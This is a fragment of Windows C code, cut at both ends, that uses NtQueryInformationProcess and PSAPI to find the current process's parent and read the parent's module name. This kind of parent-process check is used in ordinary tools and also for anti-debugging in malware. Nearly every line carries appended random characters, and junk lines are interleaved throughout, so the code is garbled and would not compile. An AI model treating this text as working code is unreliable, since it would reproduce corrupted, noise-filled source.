DWORD BasePriority; 6r|Bi HP
ULONG UniqueProcessId; =GP~h*5es
ULONG InheritedFromUniqueProcessId; NoR=:Q 9e
} PROCESS_BASIC_INFORMATION; ~h:/9q
2I8RO\zR
PROCNTQSIP NtQueryInformationProcess; I3#h
(_9cL,v
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nVO|*Bnf)
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @CxXkR
e5"?ol0
HANDLE hProcess; ^Hdru]A$2
PROCESS_BASIC_INFORMATION pbi; &fIx2ZM[
Ah_Ttj
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ",qcqG(
if(NULL == hInst ) return 0; b8>2Y'X
JfrPK/Vn
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MFHc>O
DA
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OYj4G?c
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]+OHxCj:
hj8S".A_
if (!NtQueryInformationProcess) return 0; K;n5[o&c
IK
/@j
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !%1=|PX_
if(!hProcess) return 0; pejG%pJ
m^9[k,;K
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; miq"3
gvoo1 Sa
CloseHandle(hProcess); ;&A%"8o
kOQq+_Y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "F$0NYb]I
if(hProcess==NULL) return 0; Wg V'T#*
ftw@ nQNU
HMODULE hMod; #?V7kds]
char procName[255]; `H^?jX>7
unsigned long cbNeeded; -kv'C6gB
Me.t_)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xv5|j/<